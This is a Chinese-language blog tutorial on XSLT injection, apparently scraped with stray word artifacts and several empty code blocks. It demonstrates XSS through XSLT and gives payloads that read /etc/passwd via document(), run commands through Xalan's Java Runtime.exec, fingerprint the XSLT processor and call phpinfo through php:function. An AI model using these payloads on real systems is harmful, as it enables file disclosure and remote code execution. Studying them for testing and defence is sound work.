xslt注入

XSL(可擴展樣式表語言)是一種用於轉換XML文檔的語言,XSLT表示的就是XSL轉換,而XSL轉換指的就是XML文檔自己。轉換後獲得的通常都是不一樣的XML文檔或其餘類型文檔,例如HTML文檔、CSV文件以及明文文本文件等等。php

通常來講,應用程序或模板引擎在處理不一樣文件類型時須要使用XSLT來進行數據轉換。不少企業級應用比較喜歡使用XSLT,好比說,多用戶發票應用程序可使用XSLT來容許客戶自定義它們的發票,客戶能夠根據本身的需求來修改發票信息以及格式。html

其餘常見應用:java

  • 報告功能
  • 多種格式的數據導出功能;
  • 數據打印和輸出功能;
  • 電子郵件;

Talk is cheap, show me the code!下面就用php給你們演示下如何使用xsl對xml文件進行轉換。apache

顯示xml文件,a.xml:服務器

 

再看下evil.xsl文件:dom

 

其實我也不一樣xsl,可是從上面文件不難看出,大概意思就是循環根節點fruits下的全部fruit子節點,並查詢子節點中的name節點和description節點。xss

最後就是php程序裏利用evil.xsl文件對a.xml文件進行轉換了,代碼以下:函數

 

本身寫的代碼,因此非常簡陋。大概意思就是利用dom解析xsl和目標xml文件,而後加入到XSLTProcessor對象中進行轉換。訪問該php文件:ui

 

發現解析xml了,可是連在一塊兒非常難受,我嘗試再裏面借入<br/>,發現能換行,說明被渲染了。spa

 

因而嘗試在裏面加入js腳本

 

 

很顯然,說明xslt注入能致使xss

可是xslt注入致使的問題遠不止這麼點,嘗試xxe漏洞讀取文件,還能夠換一種方式來讀取文件

 

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/">
       <xsl:value-of select="document('/etc/passwd')">
   </xsl:value-of></xsl:template>
</xsl:stylesheet>

 

 

不過這種貌似只能讀取xml文件,讀取其餘類型文件報錯了,有點煩...

 

算了繼續下面的吧,xslt處理器若是不由用,能將本機的java語言方法暴露爲XSLT函數,致使任意代碼執行漏洞,因爲我用的是php代碼,就不演示了,直接貼上代碼

<?xml version="1.0" encoding="utf-8"?>

<xsl:stylesheet version="1.0"

xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"

xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">

    <xsl:template match="/">

    <xsl:variable name="rtobject" select="rt:getRuntime()"/>

    <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>

    <xsl:variable name="processString" select="ob:toString($process)"/>

    <xsl:value-of select="$processString"/>

    </xsl:template>

    </xsl:stylesheet>

 

 

上面說了這麼多都是在xsl徹底受咱們控制的狀況下,也就是說咱們能夠上傳xsl文件。但不少時候咱們只能控制xsl文件的部份內容(這裏說的xsl文件並不必定是指.xsl後綴的文件,目前瞭解的狀況下好像任意後綴均可以,只要格式是對的就行)。一個易受攻擊的應用可能會使用不可信的用戶輸入動態地生成 XSLT 文檔。例如,該應用可能會生成某個 XSLT 文檔裏面部分字符串是不可信的用戶輸入。能夠參考文章https://bbs.pediy.com/thread-222921.htm 

爲了驗證該應用是不是易受攻擊的,咱們一般會插入一些會致使 XML 文件語法錯誤的字符,例如雙引號、單引號和尖括號{", ', <, >}。若是服務器會返回錯誤,那麼這個應用就有多是易受攻擊的。通常而言,這種定位技術與定位 XML 注入漏洞的技術相似。

 <?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body>
        <xsl:text>xsl:vendor = </xsl:text><xsl:value-of select="system-property('xsl:vendor')"/><br/>
        <xsl:text>xsl:version = </xsl:text><xsl:value-of select="system-property('xsl:version')"/><br/>
    </body>
</html>

 

 

php

<?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body> <xsl:value-of name="bugbounty" select="php:function('phpinfo')"/> </body> </html>
相關文章
相關標籤/搜索